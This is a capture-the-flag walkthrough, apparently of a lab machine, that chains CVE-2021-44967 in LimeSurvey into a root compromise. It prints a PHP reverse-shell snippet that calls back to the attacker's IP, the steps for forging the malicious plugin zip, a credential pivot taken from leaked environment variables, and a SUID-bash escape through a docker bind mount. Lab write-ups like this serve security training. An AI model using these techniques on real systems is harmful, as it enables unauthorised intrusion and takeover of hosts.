Overview

The machine starts by directory fuzzing that reveals a LimeSurvey instance left in installer mode, allowing us to complete setup with attacker-controlled database credentials to find the admin panel and exploit CVE-2021-44967 via malicious plugin upload to get RCE as limesvc inside a docker container, enumerating env variables leaks ssh credentials to pivot to the host, then abusing a writable docker bind mount over the limesurvey directory with sudo inside the container to drop a SUID bash binary that reflects on the host to get shell as root

Enumeration

as usual we're gonna start with nmap scan

and we got only 2 ports running 22 for ssh running OpenSSH8.9 and HTTP without any virtual hosting at least that we know of so far

Website

trying to access the website main directory we get forbidden for it and here we can try a lot of things, HTTP method tampering or what's known as verb tampering and we can also fuzz for directories so lets start with fuzzing then move on to manipulating requests if we got nothing

ss_20260606_104356.png

and as you can see we got a directory called survery which returns 301 instead of the 4xx status code

and we git a different page, running a service called LimeSurvey and it needs us to complete installation

ss_20260606_104908.png

this page leaks the version and some configuration on the target system that we might need later

ss_20260606_110405.png

I filled this page with the username root and password root and the name to be test cause i don't think it matters

ss_20260606_110509.png

After this It'll prompt that the database doesn't exist but LimeSurvey can create it for us so I'll ask it to do it

the attempt to create the database on the target's localhost didn't work so I will pull mysql docker image install it and use it to create the database instead to see if it'll work

I ran a sql container

we've got database created so I will populate it and finish installation

ss_20260606_114039.png and the last step administrator settings we got this Pasted image 20260608133200.png so i changed the password to jimmex cause i didn't know what value was set there cause I am sure it isn't jimmex it was 7 characters and complete the setup then move to the administrator page and login using the creds admin:login Pasted image 20260608133520.png and we got the full version so let's find any vulnerabilities affecting it

CVE-2021-44967 (LimeSurvey RCE)

the application allows uploading zip files as plugin and it is vulnerable to RCE through this functionality Pasted image 20260608133837.png and i found an exploit online that creates this zip file so lets modify it to get a revshell back so modify the first part to your IP and port

php
  1 <?php$
  2 $
  3 set_time_limit (0);$
  4 $VERSION = "1.0";$
  5 $ip = '10.10.16.83';  // CHANGE THIS$
  6 $port = 4444;       // CHANGE THIS$
  7 $chunk_size = 1400;$

so lets zip it and upload it

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/forgotten/Limesurvey-RCE]
└──╼ [★]$ unzip -l Y1LD1R1M.zip
Archive: Y1LD1R1M.zip
  Length Date Time Name
--------- ---------- ----- ----
      756  2026-06-06 11:43   config.xml
     2428  2026-06-06 11:43   php-rev.php
--------- -------
     3184                     2 files
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/forgotten/Limesurvey-RCE]
└──╼ [★]$ zip Y1LD1R1M.zip config.xml php-rev.php
updating: config.xml (deflated 56%)
updating: php-rev.php (deflated 61%)

the original zipped file from the github got an xml (maybe used for description or something) file within it so i just compressed it back with the PHP after modification lets upload it and when I upload it i get that the version isn't compatible so lets take a look at this config file

xml
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/forgotten/Limesurvey-RCE]
└──╼ [★]$ cat config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
    <metadata>
        <name>Y1LD1R1M</name>
        <type>plugin</type>
        <creationDate>2020-03-20</creationDate>
        <lastUpdate>2020-03-31</lastUpdate>
        <author>Y1LD1R1M</author>
        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
        <version>5.0</version>
        <license>GNU General Public License version 2 or later</license>
        <description>
                <![CDATA[Author : Y1LD1R1M]]></description>
    </metadata>

    <compatibility>
        <version>3.0</version>
        <version>4.0</version>
        <version>5.0</version>
    </compatibility>
    <updaters disabled="disabled"></updaters>
</config>

and as you can see it doesn't mention the version 6 so lets add this to the config file and maybe this is the only check it does to accept it so I'll just add this <version>6.0</version> and retry Pasted image 20260608135120.png so It'll pass the compatibility test and asks to confirm installation Pasted image 20260608135644.png so lets install it and activate it Pasted image 20260608135754.png and as you can see it is active now Pasted image 20260608140103.png

Shell as limesvc (docker)

so lets trigger it the plugins in LimeSurvey are saved under /upload/plugins/plugin-name and to trigger PHP file we hit upload/plugins/plugin-name/php-file-name so lets curl this when we are listening Pasted image 20260608141006.png and we got a shell as you can see as limesvc but inside a container so the user got nothing (empty home directory) and no over-loose permission Looking at the environment variable I found this

we got a username and a password for the user limesvc so lets try ssh

Shell as Limesvc (host)

and I've got user Pasted image 20260608141341.png so back to the container again cause I forgot enumerate the mount configuration

shell
mount
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /var/www/html/survey type ext4 (rw,relatime,discard,errors=remount-ro)

and i got that we have read write permission over the /survey directory if we looked back again at the container after having the password to find the sudo configuration

shell
limesvc@efaa6f5097ed:/home/limesvc$ sudo -l
sudo -l
Matching Defaults entries for limesvc on efaa6f5097ed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User limesvc may run the following commands on efaa6f5097ed:
    (ALL : ALL) ALL
limesvc@efaa6f5097ed:/home/limesvc$

we'll see that we can run stuff inside the container as root, back to mount earlier we'll see that the mount on /var/www/html/survey the /dev/root is the host's root block device bind mounted directly to that folder and we can write to it so any changes on that folder on container will be reflected on the host so lets drop a copy of the bash binary with SUID on the container last piece for this to work we must have read permission over that folder on the host as limesvc so lets check

and as you can see it is under /op/limesurvey but it is the same folder so lets do the attack we wanted to do

Shell as root

so i changed user on container using sudo su then dropped the shell with SUID on it

and as you can see we got root

shell
limesvc@forgotten:/opt/limesurvey$ ls
LICENSE admin bash index.php modules plugins psalm.xml tmp
README.md    application  docs         installer  node_modules      psalm-all.xml     setdebug.php  upload
SECURITY.md  assets       gulpfile.js  locale     open-api-gen.php  psalm-strict.xml  themes        vendor
limesvc@forgotten:/opt/limesurvey$ ./bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
5a927620d38b2162d1b3bdd4bcde2d24
bash-5.1#

Resources